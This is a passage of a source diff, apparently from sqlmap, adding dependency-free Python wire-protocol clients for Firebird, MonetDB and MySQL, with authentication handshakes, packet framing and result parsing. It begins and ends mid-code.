||||
return raw # OCTETS / binary text -> bytes (sqlmap hex-encodes)
|
||||
return s.rstrip(" ") if rstrip else s
|
||||
|
||||
def _read_blob(self, blob_id, subtype):
|
||||
self._send(_pack_int(_op_open_blob2) + _pack_int(0) + _pack_int(self._trans_handle) + blob_id)
|
||||
blob_handle = self._response()[0]
|
||||
data = b""
|
||||
while True:
|
||||
self._send(_pack_int(_op_get_segment) + _pack_int(blob_handle) + _pack_int(1024) + _pack_int(0))
|
||||
seg_status, _, buf = self._response()
|
||||
buf = bytearray(buf)
|
||||
j = 0
|
||||
while j < len(buf):
|
||||
seg_len = _le(buf[j:j + 2])
|
||||
data += bytes(buf[j + 2:j + 2 + seg_len])
|
||||
j += 2 + seg_len
|
||||
if seg_status == 2: # last segment
|
||||
break
|
||||
self._send(_pack_int(_op_close_blob) + _pack_int(blob_handle))
|
||||
self._response()
|
||||
if subtype == 1:
|
||||
try:
|
||||
return data.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
return data
|
||||
return data
|
||||
|
||||
def _uid(user, plugin, plugin_list, public_key, wire_crypt):
|
||||
def param(k, v):
|
||||
if k != _CNCT_specific_data:
|
||||
return bytes(bytearray([k, len(v)])) + v
|
||||
out, i = b"", 0
|
||||
while len(v) > 254:
|
||||
out += bytes(bytearray([k, 255, i])) + v[:254]
|
||||
v = v[254:]
|
||||
i += 1
|
||||
return out + bytes(bytearray([k, len(v) + 1, i])) + v
|
||||
|
||||
try:
|
||||
os_user = os.environ.get("USER", "") or os.environ.get("USERNAME", "")
|
||||
except Exception:
|
||||
os_user = ""
|
||||
specific = _hex(_minbe(public_key))
|
||||
r = param(_CNCT_login, user.encode("utf-8"))
|
||||
r += param(_CNCT_plugin_name, plugin)
|
||||
r += param(_CNCT_plugin_list, plugin_list)
|
||||
r += param(_CNCT_specific_data, specific)
|
||||
r += param(_CNCT_client_crypt, b"\x01\x00\x00\x00" if wire_crypt else b"\x00\x00\x00\x00")
|
||||
r += param(_CNCT_user, os_user.encode("utf-8"))
|
||||
r += param(_CNCT_host, socket.gethostname().encode("utf-8", "replace"))
|
||||
r += param(_CNCT_user_verification, b"")
|
||||
return r
|
||||
|
||||
def _hex(b):
|
||||
return "".join("%02x" % c for c in bytearray(b)).encode("ascii")
|
||||
|
||||
# protocol version tuples (version, arch=Generic 1, min_type=0, max_type=batch_send 3, weight); max_type is
|
||||
# deliberately capped at 3 (not lazy_send 5) so every operation gets an immediate response (no deferred handles)
|
||||
_PROTOCOLS = ("0000000a00000001000000000000000300000002",
|
||||
"ffff800b00000001000000000000000300000004",
|
||||
"ffff800c00000001000000000000000300000006",
|
||||
"ffff800d00000001000000000000000300000008",
|
||||
"ffff800e0000000100000000000000030000000a",
|
||||
"ffff800f0000000100000000000000030000000c",
|
||||
"ffff80100000000100000000000000030000000e",
|
||||
"ffff801100000001000000000000000300000010")
|
||||
|
||||
def connect(host=None, port=3050, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
user = user or "SYSDBA"
|
||||
password = password or ""
|
||||
filename = (database or "").encode("utf-8")
|
||||
plugin, plugin_list = b"Srp256", b"Srp256,Srp,Legacy_Auth"
|
||||
|
||||
try:
|
||||
sock = socket.create_connection((host or "localhost", int(port or 3050)), timeout=connect_timeout)
|
||||
sock.settimeout(None)
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
|
||||
wire = _Wire(sock)
|
||||
try:
|
||||
public_key, private_key = _srp_client_seed()
|
||||
packet = (_pack_int(_op_connect) + _pack_int(_op_attach) + _pack_int(3) + _pack_int(1) +
|
||||
_pack_bytes(filename) + _pack_int(len(_PROTOCOLS)) +
|
||||
_pack_bytes(_uid(user, plugin, plugin_list, public_key, True)))
|
||||
for p in _PROTOCOLS:
|
||||
packet += _unhex(p)
|
||||
wire.send(packet)
|
||||
|
||||
_authenticate(wire, user, password, public_key, private_key)
|
||||
connection = Connection(wire, filename, user, password)
|
||||
_attach(connection, wire, user)
|
||||
except (DatabaseError, InterfaceError):
|
||||
wire.close()
|
||||
raise
|
||||
except Exception as ex:
|
||||
wire.close()
|
||||
raise OperationalError("Firebird login failed (%s)" % ex)
|
||||
return connection
|
||||
|
||||
def _unhex(s):
|
||||
return bytes(bytearray(int(s[i:i + 2], 16) for i in range(0, len(s), 2)))
|
||||
|
||||
def _normalize_user(user):
|
||||
if len(user) >= 2 and user[0] == '"' and user[-1] == '"':
|
||||
return user[1:-1].replace('""', '"')
|
||||
return user.upper()
|
||||
|
||||
def _authenticate(wire, user, password, public_key, private_key):
|
||||
op = wire.recv_int()
|
||||
while op == _op_dummy:
|
||||
op = wire.recv_int()
|
||||
if op == _op_reject:
|
||||
raise OperationalError("Firebird connection rejected")
|
||||
if op == _op_response:
|
||||
Connection(wire, b"", user, password)._parse_response() # will raise the server error
|
||||
raise OperationalError("Firebird connection rejected")
|
||||
|
||||
wire.recv(12) # accept block: protocol version / architecture / type (not needed once lazy-send is off)
|
||||
if op == _op_accept:
|
||||
return b"" # plaintext, no encryption negotiated
|
||||
|
||||
data = wire.recv_bytes()
|
||||
plugin_name = wire.recv_bytes()
|
||||
wire.recv_int() # is_authenticated
|
||||
wire.recv_bytes() # keys
|
||||
if plugin_name not in (b"Srp256", b"Srp"):
|
||||
raise NotSupportedError("unsupported Firebird auth plugin %r" % plugin_name)
|
||||
if not data:
|
||||
raise OperationalError("Firebird server sent no SRP challenge")
|
||||
|
||||
salt_len = _le(data[:2])
|
||||
salt = data[2:2 + salt_len]
|
||||
# the server sends B as a hex integer, dropping a leading zero nibble when its top nibble is 0 (odd-length
|
||||
# hex ~5% of the time) - parse it as an integer, which is length-agnostic (byte-pairing would corrupt it)
|
||||
server_public = int(data[4 + salt_len:].decode("ascii"), 16)
|
||||
hash_algo = hashlib.sha256 if plugin_name == b"Srp256" else hashlib.sha1
|
||||
proof, session_key = _srp_client_proof(_normalize_user(user).encode("utf-8"),
|
||||
password.encode("utf-8"), salt,
|
||||
public_key, server_public, private_key, hash_algo)
|
||||
|
||||
wire.send(_pack_int(_op_cont_auth) + _pack_bytes(_hex(proof)) + _pack_bytes(plugin_name) +
|
||||
_pack_bytes(b"Srp256,Srp,Legacy_Auth") + _pack_bytes(b""))
|
||||
buf = _read_response(wire, user, password)
|
||||
|
||||
enc_plugin, nonce = _guess_wire_crypt(buf)
|
||||
if not (enc_plugin and session_key):
|
||||
raise NotSupportedError("Firebird server did not offer a supported wire-crypt plugin")
|
||||
wire.send(_pack_int(_op_crypt) + _pack_bytes(enc_plugin) + _pack_bytes(b"Symmetric"))
|
||||
if enc_plugin in (b"ChaCha", b"ChaCha64"):
|
||||
k = hashlib.sha256(session_key).digest()
|
||||
wire.set_ciphers(_ChaCha20(k, nonce), _ChaCha20(k, nonce))
|
||||
elif enc_plugin == b"Arc4":
|
||||
wire.set_ciphers(_ARC4(session_key), _ARC4(session_key))
|
||||
else:
|
||||
raise NotSupportedError("unsupported Firebird wire-crypt plugin %r" % enc_plugin)
|
||||
_read_response(wire, user, password) # first encrypted message
|
||||
return session_key
|
||||
|
||||
def _read_response(wire, user, password):
|
||||
# a bare op_response reader used during the login handshake (before a Connection exists)
|
||||
op = wire.recv_int()
|
||||
while op == _op_dummy:
|
||||
op = wire.recv_int()
|
||||
if op == _op_cont_auth:
|
||||
raise OperationalError("Firebird authentication failed")
|
||||
if op != _op_response:
|
||||
raise OperationalError("unexpected Firebird operation %d during login" % op)
|
||||
return Connection(wire, b"", user, password)._parse_response()[2]
|
||||
|
||||
def _attach(connection, wire, user):
|
||||
dpb = bytearray([_isc_dpb_version1])
|
||||
dpb += bytearray([_isc_dpb_lc_ctype, 4]) + bytearray(b"UTF8")
|
||||
ub = user.encode("utf-8")
|
||||
dpb += bytearray([_isc_dpb_user_name, len(ub)]) + bytearray(ub)
|
||||
dpb += bytearray([_isc_dpb_process_id, 4]) + bytearray(struct.pack("<i", os.getpid() & 0x7fffffff))
|
||||
name = b"sqlmap"
|
||||
dpb += bytearray([_isc_dpb_process_name, len(name)]) + bytearray(name)
|
||||
wire.send(_pack_int(_op_attach) + _pack_int(0) + _pack_bytes(connection._filename) + _pack_bytes(bytes(dpb)))
|
||||
connection._db_handle = connection._response()[0]
|
||||
|
||||
tpb = bytes(bytearray([_isc_tpb_version3, _isc_tpb_write, _isc_tpb_wait,
|
||||
_isc_tpb_read_committed, _isc_tpb_rec_version]))
|
||||
wire.send(_pack_int(_op_transaction) + _pack_int(connection._db_handle) + _pack_bytes(tpb))
|
||||
connection._trans_handle = connection._response()[0]
|
||||
@@ -0,0 +1,231 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python MonetDB MAPI client (stdlib only, no pymonetdb).
|
||||
|
||||
MAPI is a block-framed text protocol: a 2-byte little-endian header (length << 1 | last-flag) wraps each
|
||||
block; login is a colon-separated challenge/response with a chosen password hash; queries are sent with an
|
||||
's' prefix and results come back as '&' headers, '%' metadata and '[' tuples. Paging is disabled up front
|
||||
(Xreply_size -1) so a whole result set arrives at once.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
_MAX_BLOCK = 0xffff >> 1
|
||||
|
||||
def _recvn(sock, n):
|
||||
buf = b""
|
||||
while len(buf) < n:
|
||||
chunk = sock.recv(n - len(buf))
|
||||
if not chunk:
|
||||
raise InterfaceError("connection closed by server")
|
||||
buf += chunk
|
||||
return buf
|
||||
|
||||
def _getblock(sock):
|
||||
out = b""
|
||||
while True:
|
||||
(header,) = struct.unpack("<H", _recvn(sock, 2))
|
||||
length, last = header >> 1, header & 1
|
||||
out += _recvn(sock, length)
|
||||
if last:
|
||||
break
|
||||
return out.decode("utf-8", "replace")
|
||||
|
||||
def _putblock(sock, text):
|
||||
data = text.encode("utf-8")
|
||||
off = 0
|
||||
while True:
|
||||
chunk = data[off:off + _MAX_BLOCK]
|
||||
off += _MAX_BLOCK
|
||||
last = off >= len(data)
|
||||
sock.sendall(struct.pack("<H", (len(chunk) << 1) | (1 if last else 0)) + chunk)
|
||||
if last:
|
||||
break
|
||||
|
||||
def _challenge_response(challenge, user, password, database):
|
||||
parts = challenge.split(":")
|
||||
if len(parts) < 7 or parts[-1] != "":
|
||||
raise OperationalError("invalid MonetDB challenge")
|
||||
salt, server_type, protocol, hashes = parts[0], parts[1], parts[2], parts[3]
|
||||
if protocol != "9":
|
||||
raise NotSupportedError("only MAPI protocol v9 is supported")
|
||||
if server_type == "merovingian": # proxy stage: authenticate as merovingian, real creds go to the mserver
|
||||
user, password = "merovingian", ""
|
||||
pwalgo = parts[5]
|
||||
try:
|
||||
password = hashlib.new(pwalgo, password.encode("utf-8")).hexdigest()
|
||||
except ValueError:
|
||||
raise NotSupportedError("unsupported MonetDB password algorithm: %s" % pwalgo)
|
||||
pwhash = None
|
||||
for algo in hashes.split(","):
|
||||
try:
|
||||
h = hashlib.new(algo)
|
||||
except ValueError:
|
||||
continue
|
||||
h.update(password.encode("utf-8"))
|
||||
h.update(salt.encode("utf-8"))
|
||||
pwhash = "{%s}%s" % (algo, h.hexdigest())
|
||||
break
|
||||
if pwhash is None:
|
||||
raise NotSupportedError("no supported MonetDB password hash in: %s" % hashes)
|
||||
return ":".join(["BIG", user, pwhash, "sql", database or ""]) + ":"
|
||||
|
||||
def _unquote(value):
|
||||
if value == "NULL":
|
||||
return None
|
||||
if len(value) >= 2 and value[0] == '"' and value[-1] == '"':
|
||||
body = value[1:-1]
|
||||
if "\\" not in body:
|
||||
return body
|
||||
# MonetDB renders control bytes as C octal escapes (\ooo) etc.; decode with unicode_escape but only
|
||||
# on the ASCII runs so raw multibyte (> 0x7f) is preserved (mirrors pymonetdb's result decoding)
|
||||
return "".join(seg.encode("utf-8").decode("unicode_escape") if "\\" in seg else seg
|
||||
for seg in re.split(r"([\x00-\x7f]+)", body))
|
||||
return value
|
||||
|
||||
def _parse_result(text):
|
||||
description, rows = None, []
|
||||
for line in text.split("\n"):
|
||||
if not line:
|
||||
continue
|
||||
marker = line[0]
|
||||
if marker == "!": # error
|
||||
raise ProgrammingError("(remote) %s" % line[1:].strip())
|
||||
elif marker == "%": # metadata: "<values> # <kind>"
|
||||
payload, _, kind = line[1:].rpartition("#")
|
||||
if kind.strip() == "name":
|
||||
description = [(name.strip(), None, None, None, None, None, None) for name in payload.split(",\t")]
|
||||
elif marker == "[": # tuple: "[ v1,\tv2,\t... ]"
|
||||
body = line.strip()
|
||||
if body.startswith("[") and body.endswith("]"):
|
||||
body = body[1:-1].strip()
|
||||
rows.append(tuple(_unquote(v.strip()) for v in body.split(",\t")))
|
||||
# "&" result headers, "#" info, "=" no-slice tuples are ignored for our purposes
|
||||
return description, rows
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows = self.connection._query(query)
|
||||
self.rowcount = len(self._rows)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, sock):
|
||||
self._sock = sock
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass # sqlmap runs autonomous statements; MonetDB SQL is auto-committed unless a transaction is opened
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _command(self, text):
|
||||
_putblock(self._sock, text)
|
||||
reply = _getblock(self._sock)
|
||||
if reply.startswith("!"):
|
||||
raise OperationalError("(remote) %s" % reply[1:].strip())
|
||||
|
||||
def _query(self, query):
|
||||
try:
|
||||
_putblock(self._sock, "s" + query + ";\n")
|
||||
return _parse_result(_getblock(self._sock))
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("connection error: %s" % ex)
|
||||
except (struct.error, IndexError, ValueError) as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
def connect(host=None, port=50000, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
host, port = host or "localhost", int(port or 50000)
|
||||
try:
|
||||
sock = socket.create_connection((host, port), timeout=connect_timeout)
|
||||
sock.settimeout(None)
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
|
||||
try:
|
||||
for _ in range(10): # bounded: merovingian proxy stage + optional redirect + mserver challenge
|
||||
block = _getblock(sock)
|
||||
if block == "": # login accepted
|
||||
break
|
||||
if block[0] == "^": # redirect
|
||||
url = block[1:].strip()
|
||||
m = re.match(r"mapi:monetdb://([^:/]+):(\d+)/(\S*)", url)
|
||||
if m and (m.group(1) != host or int(m.group(2)) != port):
|
||||
sock.close()
|
||||
host, port, database = m.group(1), int(m.group(2)), m.group(3) or database
|
||||
sock = socket.create_connection((host, port), timeout=connect_timeout)
|
||||
sock.settimeout(None)
|
||||
continue # merovingian proxy redirect: keep reading the next challenge on this socket
|
||||
if block[0] == "!":
|
||||
raise OperationalError("(remote) %s" % block[1:].strip())
|
||||
_putblock(sock, _challenge_response(block, user, password, database))
|
||||
else:
|
||||
raise OperationalError("MonetDB login did not converge")
|
||||
except (OperationalError, NotSupportedError, InterfaceError):
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise
|
||||
except (socket.error, socket.timeout) as ex: # I/O error during the login/redirect exchange
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise OperationalError("connection error: %s" % ex)
|
||||
|
||||
connection = Connection(sock)
|
||||
try:
|
||||
connection._command("Xreply_size -1\n") # disable row paging so a whole result set is returned at once
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
connection.close()
|
||||
raise OperationalError("connection error: %s" % ex)
|
||||
return connection
|
||||
@@ -0,0 +1,354 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python MySQL client/server protocol client (stdlib only).
|
||||
|
||||
Covers the whole MySQL-wire family (MySQL, MariaDB, TiDB, Aurora-MySQL, Percona, ...). Auth:
|
||||
mysql_native_password (full), plus caching_sha2_password fast path; caching_sha2 *full* auth over a
|
||||
plaintext connection needs RSA (not in the stdlib), so that case raises a clean NotSupportedError - use a
|
||||
mysql_native_password account (as MariaDB/TiDB default to) for the dependency-free path.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import DatabaseError
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
# capability flags
|
||||
_CLIENT_LONG_PASSWORD = 0x00000001
|
||||
_CLIENT_LONG_FLAG = 0x00000004
|
||||
_CLIENT_CONNECT_WITH_DB = 0x00000008
|
||||
_CLIENT_PROTOCOL_41 = 0x00000200
|
||||
_CLIENT_TRANSACTIONS = 0x00002000
|
||||
_CLIENT_SECURE_CONNECTION = 0x00008000
|
||||
_CLIENT_PLUGIN_AUTH = 0x00080000
|
||||
|
||||
_MAX_PACKET = 0x1000000
|
||||
_MAX_MESSAGE_LENGTH = 0x40000000 # cap on a (re-assembled) payload, to bound a hostile/corrupt stream
|
||||
_BINARY_CHARSET = 63 # collation id 63 == 'binary'
|
||||
# field types for which charset==63 genuinely denotes raw bytes (BLOB/BINARY/VARBINARY/GEOMETRY family).
|
||||
# Numeric & temporal columns ALSO report charset 63 in the text protocol, but carry their ASCII text form -
|
||||
# they must be decoded, not returned as bytes (else -d hexifies e.g. the int 12345 to '3132333435').
|
||||
_BINARY_TYPES = frozenset((15, 249, 250, 251, 252, 253, 254, 255)) # VARCHAR,*BLOB,VAR_STRING,STRING,GEOMETRY
|
||||
_TYPE_BIT = 16 # BIT reports charset 63 but is decoded to a big-endian integer (matches SQLAlchemy/mysql-connector)
|
||||
|
||||
def _xor(a, b):
|
||||
if str is bytes: # Python 2
|
||||
return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b))
|
||||
return bytes(x ^ y for x, y in zip(a, b))
|
||||
|
||||
def _u8(data, off):
|
||||
return struct.unpack("<B", data[off:off + 1])[0]
|
||||
|
||||
def _cstring(data, off):
|
||||
# NUL-terminated string, tolerant of a missing terminator (returns the remainder)
|
||||
end = data.find(b"\x00", off)
|
||||
if end == -1:
|
||||
return data[off:], len(data)
|
||||
return data[off:end], end + 1
|
||||
|
||||
def _recvn(sock, n):
|
||||
buf = b""
|
||||
while len(buf) < n:
|
||||
chunk = sock.recv(n - len(buf))
|
||||
if not chunk:
|
||||
raise InterfaceError("connection closed by server")
|
||||
buf += chunk
|
||||
return buf
|
||||
|
||||
def _read_packet(sock):
|
||||
header = _recvn(sock, 4)
|
||||
length = struct.unpack("<I", header[0:3] + b"\x00")[0]
|
||||
seq = _u8(header, 3)
|
||||
payload = _recvn(sock, length)
|
||||
total = length
|
||||
while length == 0xffffff: # payload continues in the next packet
|
||||
header = _recvn(sock, 4)
|
||||
length = struct.unpack("<I", header[0:3] + b"\x00")[0]
|
||||
total += length
|
||||
if total > _MAX_MESSAGE_LENGTH:
|
||||
raise InterfaceError("backend message too large (%d bytes)" % total)
|
||||
payload += _recvn(sock, length)
|
||||
return seq, payload
|
||||
|
||||
def _send_packet(sock, seq, payload):
|
||||
while True: # split payloads >= 16 MB into 0xffffff-sized packets (with a trailing short packet)
|
||||
chunk = payload[:0xffffff]
|
||||
sock.sendall(struct.pack("<I", len(chunk))[0:3] + struct.pack("<B", seq & 0xff) + chunk)
|
||||
seq = (seq + 1) & 0xff
|
||||
payload = payload[0xffffff:]
|
||||
if len(chunk) < 0xffffff:
|
||||
break
|
||||
|
||||
def _lenc_int(data, off):
|
||||
first = _u8(data, off)
|
||||
if first < 0xfb:
|
||||
return first, off + 1
|
||||
elif first == 0xfb:
|
||||
return None, off + 1 # NULL (in a row)
|
||||
elif first == 0xfc:
|
||||
return struct.unpack("<H", data[off + 1:off + 3])[0], off + 3
|
||||
elif first == 0xfd:
|
||||
return struct.unpack("<I", data[off + 1:off + 4] + b"\x00")[0], off + 4
|
||||
else: # 0xfe
|
||||
return struct.unpack("<Q", data[off + 1:off + 9])[0], off + 9
|
||||
|
||||
def _lenc_str(data, off):
|
||||
length, off = _lenc_int(data, off)
|
||||
if length is None:
|
||||
return None, off
|
||||
if off + length > len(data):
|
||||
raise InterfaceError("length-encoded string overruns packet")
|
||||
return data[off:off + length], off + length
|
||||
|
||||
def _err_message(payload):
|
||||
# ERR packet: 0xff, Int2 code, (if PROTOCOL_41) '#' + 5-byte SQLSTATE, then message
|
||||
off = 3
|
||||
if payload[3:4] == b"#":
|
||||
off = 9
|
||||
return payload[off:].decode("utf-8", "replace")
|
||||
|
||||
def _bit_int(value):
|
||||
n = 0 # BIT arrives as a big-endian byte string
|
||||
for b in bytearray(value):
|
||||
n = (n << 8) | b
|
||||
return n
|
||||
|
||||
def _scramble_native(password, salt):
|
||||
if not password:
|
||||
return b""
|
||||
stage1 = hashlib.sha1(password.encode("utf-8")).digest()
|
||||
stage2 = hashlib.sha1(stage1).digest()
|
||||
return _xor(stage1, hashlib.sha1(salt + stage2).digest())
|
||||
|
||||
def _scramble_sha2(password, salt):
|
||||
if not password:
|
||||
return b""
|
||||
d1 = hashlib.sha256(password.encode("utf-8")).digest()
|
||||
d2 = hashlib.sha256(hashlib.sha256(d1).digest() + salt).digest()
|
||||
return _xor(d1, d2)
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows, self.rowcount = self.connection._query(query)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, sock):
|
||||
self._sock = sock
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass # autocommit is enabled right after connect(), matching sqlmap's autonomous-statement model
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
_send_packet(self._sock, 0, b"\x01") # COM_QUIT
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _query(self, query):
|
||||
_send_packet(self._sock, 0, b"\x03" + query.encode("utf-8")) # COM_QUERY
|
||||
try:
|
||||
return self._read_query_response()
|
||||
except (struct.error, IndexError, ValueError) as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
def _read_query_response(self):
|
||||
seq, payload = _read_packet(self._sock)
|
||||
first = _u8(payload, 0)
|
||||
|
||||
if first == 0xff: # ERR
|
||||
raise ProgrammingError("(remote) %s" % _err_message(payload))
|
||||
if first == 0x00 or (first == 0xfe and len(payload) < 9): # OK packet (no result set)
|
||||
affected, _ = _lenc_int(payload, 1)
|
||||
return None, [], (affected if affected is not None else -1)
|
||||
if first == 0xfb: # LOCAL INFILE request
|
||||
raise NotSupportedError("LOCAL INFILE is not supported")
|
||||
|
||||
column_count, _ = _lenc_int(payload, 0)
|
||||
description, binary = [], []
|
||||
for _ in range(column_count):
|
||||
_, cpay = _read_packet(self._sock)
|
||||
off = 0
|
||||
for _ in range(4): # catalog, schema, table, org_table
|
||||
_, off = _lenc_str(cpay, off)
|
||||
name, off = _lenc_str(cpay, off) # name
|
||||
_, off = _lenc_str(cpay, off) # org_name
|
||||
_, off = _lenc_int(cpay, off) # length of the fixed-length block (0x0c)
|
||||
charset = struct.unpack("<H", cpay[off:off + 2])[0]
|
||||
col_type = _u8(cpay, off + 6) # fixed block: charset(2) column_length(4) type(1) flags(2) ...
|
||||
description.append((name.decode("utf-8", "replace"), col_type, None, None, None, None, None))
|
||||
binary.append(charset == _BINARY_CHARSET and col_type in _BINARY_TYPES)
|
||||
|
||||
_read_packet(self._sock) # EOF after the column definitions
|
||||
|
||||
rows = []
|
||||
while True:
|
||||
_, payload = _read_packet(self._sock)
|
||||
if _u8(payload, 0) == 0xfe and len(payload) < 9: # EOF -> end of rows
|
||||
break
|
||||
if _u8(payload, 0) == 0xff:
|
||||
raise ProgrammingError("(remote) %s" % _err_message(payload))
|
||||
off, row = 0, []
|
||||
for i in range(column_count):
|
||||
value, off = _lenc_str(payload, off)
|
||||
if value is None:
|
||||
row.append(None)
|
||||
elif description[i][1] == _TYPE_BIT:
|
||||
row.append(str(_bit_int(value))) # big-endian integer, e.g. b'\x2a' -> '42'
|
||||
elif binary[i]:
|
||||
row.append(value) # keep binary/BLOB columns as raw bytes (sqlmap hex-encodes them)
|
||||
else:
|
||||
row.append(value.decode("utf-8", "replace"))
|
||||
rows.append(tuple(row))
|
||||
return description, rows, len(rows)
|
||||
|
||||
def _finish_auth(sock, password, plugin, salt):
|
||||
# read the auth result, handling AuthSwitchRequest (0xfe) and AuthMoreData (0x01) for caching_sha2
|
||||
while True:
|
||||
seq, payload = _read_packet(sock)
|
||||
marker = _u8(payload, 0)
|
||||
if marker == 0x00: # OK
|
||||
return
|
||||
if marker == 0xff: # ERR
|
||||
raise OperationalError("(remote) %s" % _err_message(payload))
|
||||
if marker == 0xfe: # AuthSwitchRequest: <plugin name>\x00<salt>
|
||||
plugin, off = _cstring(payload, 1)
|
||||
plugin = plugin.decode("ascii", "replace")
|
||||
salt = payload[off:].rstrip(b"\x00")
|
||||
if plugin == "mysql_native_password":
|
||||
data = _scramble_native(password, salt)
|
||||
elif plugin == "caching_sha2_password":
|
||||
data = _scramble_sha2(password, salt)
|
||||
else:
|
||||
raise NotSupportedError("unsupported authentication plugin '%s'" % plugin)
|
||||
_send_packet(sock, seq + 1, data)
|
||||
elif marker == 0x01: # AuthMoreData (caching_sha2)
|
||||
status = _u8(payload, 1)
|
||||
if status == 0x03: # fast auth success -> OK packet follows
|
||||
continue
|
||||
elif status == 0x04: # full auth required (needs TLS or RSA - not available stdlib-only)
|
||||
raise NotSupportedError("caching_sha2_password full authentication over a plaintext connection "
|
||||
"requires RSA/TLS; use a mysql_native_password account for the dependency-free client")
|
||||
else:
|
||||
raise OperationalError("unexpected caching_sha2 auth status %d" % status)
|
||||
else:
|
||||
raise InterfaceError("unexpected authentication response 0x%02x" % marker)
|
||||
|
||||
def connect(host=None, port=3306, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
try:
|
||||
sock = socket.create_connection((host or "localhost", int(port or 3306)), timeout=connect_timeout)
|
||||
sock.settimeout(None)
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
|
||||
try:
|
||||
seq, payload = _read_packet(sock)
|
||||
if _u8(payload, 0) == 0xff:
|
||||
raise OperationalError("(remote) %s" % _err_message(payload))
|
||||
|
||||
off = 1 # protocol version (10)
|
||||
_, off = _cstring(payload, off) # server version
|
||||
off += 4 # connection id
|
||||
salt = payload[off:off + 8]; off += 8 + 1 # auth-plugin-data part 1 (+ filler)
|
||||
off += 2 # capability flags (lower)
|
||||
off += 1 # character set
|
||||
off += 2 # status flags
|
||||
off += 2 # capability flags (upper)
|
||||
auth_data_len = _u8(payload, off); off += 1
|
||||
off += 10 # reserved
|
||||
salt += payload[off:off + max(13, auth_data_len - 8) - 1] # part 2 (drop trailing NUL)
|
||||
off += max(13, auth_data_len - 8)
|
||||
plugin = "mysql_native_password"
|
||||
if off < len(payload):
|
||||
name, _ = _cstring(payload, off)
|
||||
plugin = name.decode("ascii", "replace") or plugin
|
||||
|
||||
if plugin == "caching_sha2_password":
|
||||
auth_response = _scramble_sha2(password or "", salt)
|
||||
else:
|
||||
plugin = "mysql_native_password"
|
||||
auth_response = _scramble_native(password or "", salt)
|
||||
|
||||
